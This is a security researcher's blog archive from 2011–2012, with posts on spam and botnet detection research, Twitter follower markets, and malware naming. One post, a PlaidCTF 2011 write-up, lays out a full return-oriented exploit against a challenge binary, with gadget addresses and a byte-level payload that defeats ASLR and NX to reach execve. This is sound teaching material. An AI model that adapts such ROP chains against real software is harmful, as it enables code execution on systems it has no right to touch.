Wednesday, October 3, 2012

SMTP Dialects, or how to detect bots by looking at SMTP conversations

It is somewhat surprising that, in 2012, we are still struggling fighting spam. In fact, any victory we score against botnets is just temporary, and the spam levels raise again after some time. As an example, the amount of spam received worldwide dropped dramatically when Microsoft shut down the Rustock botnet, but has been rising again since then.

For these reasons, we need new techniques to detect and block spam. Current techniques mostly fall in two categories: content analysis and origin analysis. Content analysis techniques look at what is being sent, and typically analyze the content of an email to see if it is indicative of spam (for example, if it contains words that are frequently linked to spam content). Origin analysis techniques, on the other hand, look at who is sending an email, and flag the email as spam if the sender (for example the IP address the email is coming from) is known to be malicious. Both content analysis and origin analysis techniques fall short and have problems in practice. For instance, content analysis is usually very resource intensive, and cannot be run on every email sent to large, busy mail servers. Also, it can be evaded by carefully crafting the spam email. On the other hand, origin analysis techniques often have coverage problems, and fail to detect as malicious many sources that are actually sending out spam.

In our paper B@BEL: Leveraging Email Delivery for Spam Mitigation, that got presented at the USENIX Security Symposium last August, we propose to look at how emails are sent instead. The idea behind our approach is simple: the SMTP protocol, which is used to send emails on the Internet, follows Postel's Law, which states: "Be liberal in what you accept, but conservative in what you send". As a consequence of this, email software developers can come up with their own interpretation of the SMTP protocol, and still be able to successfully send emails. We call these variations of the protocol SMTP dialects. In the paper we show how it is possible to figure out which software (legitimate of malicious) sent a certain email just by looking at the SMTP messages exchanged between the client and the server. We also show how it is possible to enumerate the dialects spoken by spamming bots, and leverage them for spam mitigation.

Although not perfect, this technique allows, if used in conjunction with existing ones, to catch more spam, and it is a useful advancements in the war against spamming botnets.

Wednesday, July 25, 2012

Fake followers on Twitter: my two cents

During the last few days, a huge fuss has been made about this report. This article, written by Italian professor Marco Camisani Calzolari, describes a system to detect fake followers on Twitter. The article shows how many of the Twitter followers of corporations and celebrities (up to 45%) are actually fake. Among such celebrities are Italian public persons and politicians such as Beppe Grillo and Nichi Vendola. The news got a lot of attention in Italy, and got reported by foreign press as well (most notably by the the Guardian and the Huffington Post). Of course, a lot of outrage was generated by the supporters of this or that politician, and many people argued that the study wasn't correct. Today, Italian economics professor Francesco Sacco declared that the study actually has an error margin of 1%, and should be considered correct.

Now, I am a researcher, and I am not very interested in flame wars between opposite political factions. However, I am quite disappointed that the Italian press, as well as some foreign newspapers, considered this study as reputable without at least checking with an expert. As of today, a few days after the news was first published, the only person from academia who reviewed the article is an economics professor. With all due respect, I think that somebody with a degree in computer science and some experience in machine learning and artificial intelligence would be a better person to review this article, and judge how reasonable the proposed approach actually is.

I decided to write this blog post because I have been reading a lot of comments on this article, but most of them were just flames, and very few of them analyzed the proposed approach in detail. I decided to analyze it myself. After all, I have been doing research in the field for quite a while now. In the academic world, we have this procedure called peer review. When somebody submits a paper to a journal or to a conference, the paper gets read by two to three other researchers, who value the validity of the proposed approach, and how reasonable the results sound. If the reviewers think the paper is good enough, it will be published. Otherwise, the author will have to make some changes to the paper, and submit elsewhere.

Camisani didn't go through this process, but just uploaded the paper to his website.  For this reason, neither the approach nor the results have been vetted. Let's play what-if, and pretend that this paper actually got submitted to a conference, and that I had been assigned to review it. Here is what I would have written:

The paper proposes a method to detect fake Twitter accounts (i.e., bots) that follow popular accounts, such as the ones belonging to celebrities and corporations. To this end, the author identified a number of features that are typical of "human" activity, as well as ones that are indicative of automatic, "bot-like" activity. For each account taken into consideration, if the account shows features that are typical of a human, it will get "human points". Conversely, if it shows features that are typical of a bot, it will get "bot points". The total of human and bot points gets then passed to a decision software, that decides whether the account is real or not. Here comes the first problem with the article: the decision procedure is not described at all. How many "bot" point does an account need to score to be considered as a bot? Is this compared to "human" points? And how are the accounts that lie in the grey area in the middle calculated? Also, the classification features are not discussed. Why are those typical of human or bot activity? Why is posting from multiple applications a sign of being a human? On the contrary, this could be a sign of being a bot, since Twitter periodically blocks offending applications and miscreants have to create new ones. Moreover, the classification procedure seems to be ad hoc and unverified. Using a classification algorithm and a training phase on labeled data would have helped - a lot.

The second problem with the paper is that it is not clear how the followers for the analysis have been chosen. Only "up to" 10,000 followers per each account were checked, allegedly by using a random algorithm. This has been done, I believe, because Twitter limits the number of queries that can be asked each hour. However, technical details on how the whole process has been performed are missing. Without such details, it is impossible to evaluate how accurate the results are. Stating that half of the followers of somebody are fake just means that, according to the algorithm, 5,000 followers are maybe fake.

A third problem is that it is impossible to check whether the detected accounts are fake or not. The problem is known to be very hard, because it is pretty much impossible to detect a bot from a fairly inactive account. Twitter itself relies on manual analysis to sort this kind of issues. 

The last problem is that this paper doesn't cite any previous research in the field, and there is been a wealth of it. This way, it is impossible to compare how sound the results are, compared to the state of the art. However, this was not the goal of the paper. The goal was to get publicity, and this worked perfectly.

My verdict? REJECT.

Friday, May 4, 2012

Poultry Markets: On the Underground Economy of Twitter Followers


Twitter has become such an important medium that companies and celebrities use it extensively to reach their customers and their fans. Nowadays, creating a large and engaged network of followers can determine the difference between succeeding and failing in marketing. However, creating such a network requires time, especially when the party building it does not have an established reputation among the public.

For this reason, a number of websites to help Twitter users create a large network of followers have emerged. These websites promise their subscribers to provide followers in exchange for a fee. In addition, some of these services offer to spread promotional messages in the network. We call this phenomenon Twitter Account Markets. We study this phenomenon in our paper "Poultry Markets: On the Underground Economy of Twitter Followers", that will appear at the SIGCOMM Workshop on Online Social Networks (WOSN) later this year.

Typically, the services offered by a Twitter Account Market are accessible through a webpage, similar to the one below. Customers can buy followers at a rate that is between $20 and $100 for 1,000 followers. In addition, markets typically offer the possibility of having content sent by a certain number of accounts, again in exchange for a fee. 



All Twitter Account Markets we analyzed offer both "free" and "premium" versions of their services. While premium accounts pay for their services, the free ones gain followers by giving away their Twitter credentials (a clever way of phishing). Once the market administrator gets the credentials for an account, he can follow other Twitter accounts (that are free or premium customers of the market), or send out "promoted" content (typically spam). For convenience, the market administrator typically authorizes an OAUTH application by using his victim's stolen credentials. By doing this, he can easily administer a large number of accounts, by leveraging the Twitter API.

Twitter Account Markets are a big problem on Twitter: first, an account with an inflated number of followers tends to look more trustworthy to the other social network users. Second, these services introduce spam in the network.

Of course, Twitter does not like this behavior. In fact, they introduced a clause in their Terms of Service that specifically forbids to participate in Twitter Account Markets operations. Twitter periodically suspends the OAuth applications that are used by Twitter Account Markets. However, since the market administrator has the credentials to his victims' accounts, he can go and authorize a new application, and continue his operation. 

In our paper, we propose techniques to both detect Twitter Account Market victims and customers. We believe that an effective way of mitigating this problem would be to focus on the customers, rather than on the victims. Since participating in a Twitter Account Market violates the terms of service, Twitter could suspend such accounts, and impact the market from the economic side.

Friday, January 27, 2012

Knowing a Bot’s true name, or how to find interesting malware samples

Folklore tells us that by knowing a creature’s true name one obtains great power over her. This is the reason why daemons and such usually don’t tell you their true name, and popstars often times go under pseudonyms.
In a lot more prosaic fashion, security researchers often times struggle in finding malware samples to run for their experiments. The reason is that, most of the time, antivirus companies don’t agree on a name for a malware family.

The way antivirus companies come up with names for malware is funny by itself, and it often generates laughter in the cybercrime community. An example is the Cutwail botnet, whose real name is “Psyche Evolution”. How people came up with Cutwail is a mistery.
Fact is that I was looking for samples for the “Donbot” bot to validate some novel research. According to m86, this botnet is responsible for about 20% of worldwide spam. I looked on anubis, our honeypot system that collects thousands of malware samples, with no results. I even started wondering if that bot really existed, or it was just a legend.

After losing hope, I was told that Donbot is also known as Buzus. No idea what the true name of the bot is, but by using the second name I was suddenly able to find working samples. Which, for a poor grad student struggling with experiments, is good enough.

Tuesday, June 14, 2011

BotMagnifier: Locating Spambots on the Internet

During the 20th USENIX Security Symposium, which will take place in San Francisco starting August 8, we will present our paper BotMagnifier: Locating Spambots on the Internet.

This paper tries to tackle the problem of detecting bot infected machines from a new perspective: the idea behind BotMagnifier is that bots belonging to the same botnet will share the same codebase and will take orders from the same set of C&C servers. Based on this insight, it should be possible to detect bot infected machines by learning the spamming behavior of a subset of known bots, and look in a network traffic dataset for more machines (i.e., IP addresses) that behaved in the same way.

Having an extensive list of bot infected machines is useful for many purposes: it helps tracking the size of the world's largest spamming botnets, and it can be used by ISPs to clean up their networks, by removing or sanitizing the infected machines.

We developed a system, called BotMagnifier, which is able to grow bot populations from a subset of known spamming bots. In particular, our system builds, for each day of analysis, a collection of IP addresses, called seed pools, that are known to have carried out a specific campaign. To do this, we take advantage of a large spam trap, set up by a US provider. On the side, we also run malware samples, and, when possible, label the campaigns we observe in the spam trap with the botnet that generated them.

After we have the seed pools, we learn the spamming behavior of these IP addresses using a transaction log. A transaction log is a record of transactions carried out on the Internet during the same time period used for the generation of the seed pools. It gives information on which IP address sent an email to which destination at what time. We used the logs from our Spamhaus mirror at UCSB for building the transaction log. There are many feature that can characterize the spamming behavior of a bot. Unfortunately, our transaction log is very partial, and show us only a small part of the email transactions that actually happened. For this reason, we only characterize the behavior of the botnet based on the destinations (i.e., mail servers) its bots contacted during a certain time frame. First, we list the destination each seed pool contacted on the transaction logs. As a second step, we look for more IPs that contacted a certain number of those destination (more than a threshold N), and no others. By doing this, we obtain a magnified pool of IP address, that we believe belong to the same botnet.

To validate our approach, we used the data contained in the Cutwail C&C servers we captured last summer. We extracted a subset of IPs, we grew them as described, and we checked how many of those actually connected to the C&C servers during the time of the experiment. Our results show that, with good confidence, our approach is able to effectively track botnets.

We also ran BotMagnifier in the wild for four months. During this period, we were able to track the activity of the world's largest spamming botnets (Rustock, Lethic, Cutwail), and we detected important events, such as the comeback of the Waledack botnet, or the takedown of MegaD.

Despite our choice of datasets for building seed pools and for the transaction logs, we also show that the approach can work on any other dataset, by tweaking some parameters.

Friday, April 29, 2011

PlaidCTF 2011 Challenge #17: C++5x writeup

This is a challenge that required a lot of work from Zardus and me, but we think that the solution we came up with is really interesting. Some other teams apparently just disabled libc ASLR to make things easier, instead we dynamically calculated the address of the exec() we wanted to call, and jumped to it.

The challenge involved a C++ binary with the following usage:


  # ./first_cpp
  Usage: ./first_cpp <name> <point>


The binary creates a C++ object (which has one method) on the stack in main(), and then calls a function which has an unrestricted buffer overflow followed by a call to the aforementioned method. As well as the overflow, the second function conveniently copies part of the buffer into the bss.

  void __cdecl stupid_function(int obj_ptr, int points, int name_ptr)
  {
    char src; // [sp+26h] [bp-32h]@1

    sprintf(&src, "Uploading... [%s]: %d pts\n", name_ptr, points);
    memcpy(s, &src, 0x32u);
    (**(int (__cdecl ***)(_DWORD, _DWORD))obj_ptr)(obj_ptr, s);
    send_to_localhost();
  }



It is important to note that the function with the overflow never returns, send_to_localhost() calls exit() after sending a UDP packet to localhost containing the points variable.

Normally, exploiting this would be a piece of cake. However, the machine had both ASLR and NX enabled and functional. A further complication was the absense of any helpful libc calls in the GOT due to the fact that the binary does not call such functions.

The answer lies in the method call. Since the C++ object resides on the stack, and we can overwrite it with the buffer overflow, we can change the address that is eventually called. A C++ method call in such a fashion consists of the following instructions:


  mov     eax, [ebp+obj_ptr]
  mov     eax, [eax]
  mov     edx, [eax]
  mov     dword ptr [esp+4], offset s
  mov     eax, [ebp+obj_ptr]
  mov     [esp], eax
  call    edx


The first mov dereferences the pointer (passed as an argument to the function) into the location of the object on the stack (the first word of which is the location of the virtual table for the object). The second mov acquires the address of the virtual table, and the third mov gets the address of the function to be called. The exploit involves overwriting the object on the stack to point to our own fake virtual table, which is conveniently copied for us into the bss. Luckily, the bss remains stable in memory, which makes this task fairly easy.

The general idea of the exploit is as follows: first, we acquire the address of a libc function that *is* in the GOT into eax. Then, using the offset between that function and a call to exec (we didn't use system() because system() drops privilages), we increment eax until it is pointing to the exec call. Finally, we jump to a "call eax" instruction. This works because even though libc is in a random location, the relative offsets between the functions are the same. We calculated the offset by subtracting the address of the libc function from the address of the exec call in gdb on the target machine:


  (gdb) p atoi
  $5 = {int (const char *)} 0xf7d50b40
  (gdb) x/i do_system+1128
     0xf7d5c398 : call   0xf7dbc3f0 <__execve>
  (gdb) p 0xf7d5c398 - 0xf7d50b40
  $6 = 47192


In order to carry out our exploit, we ended up using some pretty intricate return-oriented programming. We found several gadgets to help us:

  1. POP_RET: a simple pop, return gadget at 0x080487a1 to clean up the stack after a call
  2. POP3_RET: a simple pop, pop, pop, return gadget at 0x08048a2f for the same reason
  3. JUST_RET: a ret instruction at 0x08048a32 to ret to our next destination
  4. LEAVE_RET: a leave, ret gadget at 0x080487a1
  5. The sprintf stub function call, always at 0x080485ec
  6. A piece of code at 0x08048949 which reads a local variable into eax and eventually calls sendto:

      mov eax, [ebp-0x1C]
      mov [esp], eax
      call _sendto

  7. A piece of code at 0x0804890f which adds 8 to eax and soon calls bzero:

      add eax, 8
      mov [esp], eax
      call _bzero

  8. A piece of code at 0x0804879F which calls eax

The beginning of our exploit is:

  -------- copied into bbs ---------
  00. "AAAA"
  04. "AAAA"
  08. "AAAA"
  12. POP3_RET
  16. POP_RET
  20. "\xe2\x9d\x04\x08"
  24. "\xea\x9d\x04\x08"
  28. LEAVE_RET
  32. "%.4s"
  -------- on the stack ---------
  36. "BBBB"
  40. POP_RET
  44. "\xe6\x9d\x04\x08"


The first 36 bytes are conveniently copied into the bbs, and are used through the rest of the return-oriented program. When the buffer is overflowed, (44) ends up getting written over the virtual table pointer for the C++ object. It then resolves to (24), which resolves to (28). The program then calls LEAVE_RET, which moves ebp (currently pointing at 36) back to esp, allowing us to bypass the inconvenient values on the stack which were copied into the bss. "BBBB" is popped into ebp and we return to the POP_RET instruction (40). This POP_RET allows us to skip over the fake virtual table pointer on the stack. Then the following happens:


  48. POP_RET
  52. "\xe6\x9d\x04\x08"


This pops an address (52) into ebp and returns again. We did this so that ebp would point to writeable memory, as functions sometime expect it to do that. After this, we copy atoi's address to get ready to read it:


  56. "\xec\x85\x04\x08"
  60. POP3_RET
  64. "\xd4\x9d\x04\x08"
  68. "\xee\x9d\x04\x08"
  72. "\x58\x9d\x04\x08"


(56) is the address of sprintf, which we will use to overwrite memory addresses. The destination, (64), lies in the dtors section. We chose arbitrarily for some storage space. The format string, (68), is a pointer to (32) on the bss, and copies 4 bytes. Finally, the argument, (72), is a pointer to atoi's entry in the GOT. We set sprintf's return address (60) to POP3_RET, which cleans the arguments off the stack. After this, we have atoi's address at 0x08049dd4. Now we do a bit of cleanup for future actions:


  76. "\xec\x85\x04\x08"
  80. POP3_RET
  84. "\x3c\x9d\x04\x08"
  88. "\xee\x9d\x04\x08"
  92. "\xda\x9d\x04\x08"

  96. "\xec\x85\x04\x08"
  100. POP3_RET
  104. "\x64\x9d\x04\x08"
  108. "\xee\x9d\x04\x08"
  112. "\xda\x9d\x04\x08"


These two blocks use sprintf to overwrite the GOT entries to sendto (84) and bzero (104). Both of them are overwritten with the value of POP3_RET (12) in bss, which has the result of turning both sendto and bzero into a pop,pop,pop,ret gadget. Then, we move on:


  116. POP_RET
  120. "\xe0\x9d\x04\x08" # 0x8049dec -- where we wrote - 1C
  124. "\x49\x89\x04\x08" # get atoi address into eax
  128. JUST_RET
  132. JUST_RET
  136. JUST_RET
  140. JUST_RET


(116) pops (120) into ebp, which is (64), the address where we copied atoi's address, plus 0x1C. It then returns to (124), which is code gadget (6). This has the effect of moving atoi's address into eax. That gadget ends up calling sendto, which is now POP3_RET, which ends up cleaning up our stack (including the unwanted return address that the call instruction pushes) and returning. We then return to:


  for i in range(5883):
    144. "\x0f\x89\x04\x08"
    148. "AAAA"
    152. "AAAA"


This is an unrolled loop that essentially increments eax by 8 using code gadget (7), which is located at (144). Since that code gadget ends in a call to bzero, which is now POP3_RET, which pops off the return address and (148) and (152) and returns back to the code gadget. This runs 5883 times, which is the distance between atoi and the execve call (47064) divided by 8. Finally, we return to code gadget 8:


  156. "\x9f\x87\x04\x08"
  160. "\xf2\x9d\x04\x08"
  164. "\xf2\x9d\x04\x08"


(160) and (164) point to zero-filled space in the bss for the args and env of the execve call. The program name, unfortunately, is co-opted by the call instruction pushing the return value. Luckily, that return value points to a "string" in the code section and we can create the appropriate file.

And, after all that horror, we're done!

Friday, April 8, 2011

Why timing patterns and botnet detection don't work together

Last year I started working on a project whose goal was to spot behavioral patterns in the bots belonging to different botnets. The basic idea was that bots belonging to a botnet will periodically get orders from a botmaster. The orders will include an e-mail template, and a list of addresses to send those e-mails to. After having carried out its task, a bot would have waited for the next chunk of orders from the botmaster. From a traffic point of view, this behavior would have been reflected in periods of high activity, followed by periods of idleness by the bots.
The first dataset we used to study the bot behavior is a spam trap set up by a large ISP. This spam trap is composed by 150k e-mail addresses, all belonging to the same domain. We logged the e-mails these addresses received for a while, and clustered them in campaigns. Our assumption is that each campaign will be carry out by a single botnet (but, of course, the same botnet can carry out different campaigns). By analyzing the different campaigns, we found that the spam trap addresses received the e-mails during specific times, which reflected in spikes and long idle periods. We were happy about this discovery, that would have made it possible to detect bots just by observing their e-mail sending behavior.
We then moved to the logs from our Spamhaus mirror. By looking at the queries mail server ask to our server, we can infer which IP address sent an e-mail to which server at a given point in time. By looking at these logs, we found out that the same IP addresses that showed nice timing patterns in the spam trap data appeared to be active all the time on this dataset.
To find out what was going on, we decided to run malware samples from the largest spamming botnets at the time. We actually found out that the bots are active all the time, with no meaningful idle periods. We then made another interesting discovery: usually bots get a chunk of a large e-mail list to send their spam to, and often this list is alphabetically ordered by domain. The timing patterns we were seeing are caused by the bots reaching the letter our spam trap domain starts with, and the idle periods were caused by the bots sending mails to other domains! 
Mystery solved, and a good lesson learned.